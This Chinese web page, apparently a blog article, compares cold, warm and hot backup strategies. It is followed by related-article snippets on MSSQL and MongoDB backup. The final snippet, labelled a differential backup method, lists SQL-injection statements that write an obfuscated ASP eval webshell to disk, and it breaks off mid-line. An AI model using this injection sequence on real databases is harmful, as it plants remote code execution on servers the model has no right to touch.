mssql 冷备份、暖备份、热备份简单说明与对比

说明:
上一篇DAS、NAS、SAN简单说明与对比是从存储介质方面介绍目前网络存储技术术发展的三类。下面从计算机备份系统方面来说明,也分为三类

长远来看,数据备份效果的好坏是和用户具体的需求、资金投入程度等有很大的关系,如果用户想要一个好的灾难备份方案则用户在进行投资的时候一定要明白花费可能比较巨大,但是所花费的精力肯定就比较少,而且系统重新运行的时间也肯定很短。反之则不然。因此在初期选择灾难备份的方案时,就应该根据实际情况为用户提供性价比较高的方案。
数据备份的方式分为冷备份、暖备份和热备份三种方式,下面就这三种方式具体阐述一下。

1.冷备份
冷备份是一种花费最小的灾难备份方式,它主要可以通过采用磁带机、打孔器等设备将关键数据进行定期存储,然后将处理完以后的数据备份分别存放,以实现灾难备份。从以上的描述可以看出:它的优势在于技术含量较低,易于实现,而且花费最小,但是这种方式也存在其最大的不足,就是它恢复的时间慢,而且如果备份的存储介质出现问题时,则意味着用户将永远不能进行恢复了。因此我们认为只有在投资比较紧张,而且用户对数据要求不是很高的情况下,才采用此种方式。因此我们可以看出采用此种方式只能适合于那些小型的应用系统和广大的中小企业。

2.暖备份
暖备份是介于冷备份和热备份之间的一种方式,因此它可以说是一种折中的方案,它主要通过设置硬盘远程镜像、数据库复制和设置灾难备份中心以实现对整个系统的完全备份。

首先我们来看一下硬盘远程镜像,它主要是通过设置另外一个相对于主服务器系统差的一台服务器和数量众多的硬盘(一般采用磁盘阵列)在两者之间通过光纤连接,采用RAID技术实现。因此我们可以看出这种方式是相对较为节省的方式,而且实现也比较简单,不需要很多的技术支持。但是它也存在其固有的缺点,比如说因为使用光纤而造成了距离限制,同时光纤的铺设也是一笔花费较高的费用。而且相对最大的问题在于因为其不是采用同步复制技术,所以存储的时候也没有做到同步存储。

其次暖备份的第二种方法即:数据库复制技术。这种方法实现起来和采用硬盘镜像技术差不多,只是他们的具体存储方式不一样,采用数据库复制技术有效地解决了不同步的问题,它能利用数据库软件强大的管理功能实现数据的有机备份,从而比采用RAID技术实现数据备份更加科学。因此采用此种方式它继承了硬盘备份的大部分缺点和优点,唯一不同的地方在于它有效的解决了数据同步复制的问题。但是采用此种方式带来的另一个问题在于每个不同的数据库厂商只能对采用自己公司的数据库的数据进行同步复制,它不能对其他数据库厂商的数据进行操作。从而造成兼容性较差的问题。

最后让我们来看一下暖备份的最后一种实现形式即采用灾难备份中心这种形式。我们在这里指的灾难备份中心与下边要讲的热备份中的灾难备份中心不是同一个概念。在这里讲的灾难备份中心指的是在系统所在地(或某大公司总部所在地)建立一个较大的数据备份中心,然后用这个备份中心实现对整个系统(或公司)的全程数据管理及备份功能。因此,这种方式相对来讲没有距离的限制(可以实现对远程分支机构的数据备份和管理),而且它适合于任何的网络架构(可以使用DDN, PSTN, X.25, FDDI等),相对投资较小,可以实现接近于实时同步,而且实现起来技术比较成熟,要求相对较低,而且扩张性很好,它与具体接驳几个分支机构以及以后新增多少分支机构等没有任何关系。但是它同样也存在其固有的缺点,即作为统一的数据备份中心来说,它的实现需要一个比较详细的计划,以便于其进行具体实施(譬如说事先计划好每隔多久进行一次数据备份,每个数据包采用什么格式),因此需要事先进行谨慎地计划。

从上述分析我们可以看出,不管采用哪种暖备份方式,都存在一定的局限性,但是它相对的性价比较好,而且实现的技术十分成熟。因此,我们可以看出这种备份方式特别适合于那些大型的应用系统以及大型的企业实现对其所有分支机构的远程管理以及对自己系统内的数据进行有效的备份。

3.热备份
热备份是所有灾难备份方式中效果最好、恢复方式最快的一种方式。它具体也通过设置灾难备份中心,用一种专用设备,通过光纤实现与要进行备份的服务器系统之间建立联系。然后通过专用的软件对要进行实时备份的目标服务器系统进行监控,实现自动探测,在整个灾难备份系统安装完成以后,可以实现基本不需要人进行操作,它能监控出目标服务器系统的任何问题,自动进行任何数据操作,达到防范于未然的效果,对管理人员来说也是相当轻松的。但是我们仍然需要看到这种方式的许多不足之处,首先因为使用专门的设备和管理软件,因此费用肯定最贵,而且它只能实现点对点的数据传输,几乎没有扩展性可言,系统初期安装的技术难度以及实施工期可想而知,对厂商的依赖程度大大提高了。

因此,我们可以看出,热备份只有在用户对数据的可靠性、安全性、实时性要求特别高的时候才推荐使用,这种方式最好使用在那些超大规模的应用系统以及超大规模的企业对其中心服务器系统进行备份时采用。

时间: 2024-10-21 08:57:48

mssql 冷备份、暖备份、热备份简单说明与对比的相关文章

mssql server 数据库备份还原方法

mssql server 数据库教程备份还原方法 完全备份: 备份全部选中的文件夹,并不依赖文件的存档属性来确定备份那些文件.(在备份过程中,任何现有的标记都被清除,每个文件都被标记为已备份,换言之,清除存档属性).完全备份也叫完整备份. 差异备份: 差异备份是针对完全备份:备份上一次的完全备份后发生变化的所有文件.(差异备份过程中,只备份有标记的那些选中的文件和文件夹.它不清除标记,即:备份后不标记为已备份文件,换言之,不清除存档属性). 增量备份: 增量备份是针对于上一次备份(无论是哪种备份

MS-SQL异机备份恢复并最小化停机时间

本文采用备份加增量日志的恢复方法,恢复源库到异机,增量日志恢复保证停机切换时间最小. 一. SQL Server数据库有三种恢复模式:简单恢复模式.完整恢复模式和大容量日志恢复模式:   1.Simple 简单恢复模式, Simple模式的旧称叫"Checkpoint with truncate log",其实这个名字更形象,在Simple模式下,SQL Server会在每次checkpoint或backup之后自动截断log,也就是丢弃所有的inactive log records,

MongoDB迁移的那些事:冷备份+增量备份恢复

作者介绍 胡国青,DBAplus社群群副,Oracle OCM10G.曾任职惠普.快乐购-芒果TV等公司服务,主要负责DBA和技术架构工作.热衷于Oracle.MySQL.MongoDB.Redis. Linux.Java.Python.shell等技术.目前服务于初创公司和没有DBA的部分公司,负责SQL优化.DB培训.DB架构设计等相关工作.   本文分享某客户实施方案,在今年9月中旬已经实施完毕.   一.环境构建步骤   1线上环境  都是副本集模式看,3个业务访问节点+1个隐藏节点+1

MSsql每天自动备份自动清除log

中介交易 http://www.aliyun.com/zixun/aggregation/6858.html">SEO诊断 淘宝客 云主机 技术大厅 1.每日自动备份 打开企业管理器,进入"管理"-"数据库维护计划",在右侧窗口点击右键,选择"新建维护计划",启动"数据库维护计划向导";点击"下一步"选择需要维护的数据库,维护特性数据库时,选择最后一个单选框并勾选需要维护的数据库名称;&qu

MSsql每天自动备份数据库并每天自动清除log的脚本_MsSql

1.每日自动备份 打开企业管理器,进入"管理"-"数据库维护计划",在右侧窗口点击右键,选择"新建维护计划",启动"数据库维护计划向导";点击"下一步"选择需要维护的数据库,维护特性数据库时,选择最后一个单选框并勾选需要维护的数据库名称;"下一步"选择更新数据优化信息."下一步"检查数据库完整性."下一步"指定数据库备份计划."下一步&q

MSsql每天自动备份数据库并每天自动清除log的脚本

1.每日自动备份 打开企业管理器,进入"管理"-"数据库维护计划",在右侧窗口点击右键,选择"新建维护计划",启动"数据库维护计划向导";点击"下一步"选择需要维护的数据库,维护特性数据库时,选择最后一个单选框并勾选需要维护的数据库名称;"下一步"选择更新数据优化信息."下一步"检查数据库完整性."下一步"指定数据库备份计划."下一步&q

解决MSSQL占用过多内存的简单方法

经常看见有人问,MSSQL占用了太多的内存,而且还不断的增长:或者说已经设置了使用内存,可是它没有用到那么多,这是怎么一回事儿呢? 首先,我们来看看MSSQL是怎样使用内存的. 最大的开销一般是用于数据缓存,如果内存足够,它会把用过的数据和觉得你会用到的数据统统扔到内存中,直到内存不足的时候,才把命中率低的数据给清掉.所以一般我们在看statistics io的时候,看到的physics read都是0. 其次就是查询的开销,一般地说,hash join是会带来比较大的内存开销的,而merge

MongoDB迁移方案-冷备份+增量备份恢复--跨机房迁移

QQ群:465614686  1.  环境构建步骤 (1)线上环境 都是副本集模式 3个业务访问节点+1个隐藏节点 (隐藏节点做hadoop.spark数据同步使用以及数据报表查询等) (2)主机以及配置说明 10.21.18.21  primary节点    优先级为100 10.21.18.22  secondary节点  优先级为90 10.21.18.23  secondary节点  优先级为80 10.21.18.24  隐藏节点       优先级为0 系统配置:128G内存,64C

mssql数据库差异备份方法

手工实现差异备份的步骤 字符型: 1.恢复当前库 ;alter database 当前库 set recovery full-- 2.建表cmd ;create table cmd (a image)-- 3.备份当前库到d:cmd1 ;backup log 当前库 to disk = 'd:cmd1' with init-- 4.插入一句话代码到创建的表cmd ;insert into cmd (a) values ('<%%25**ecute(request("a"))%%2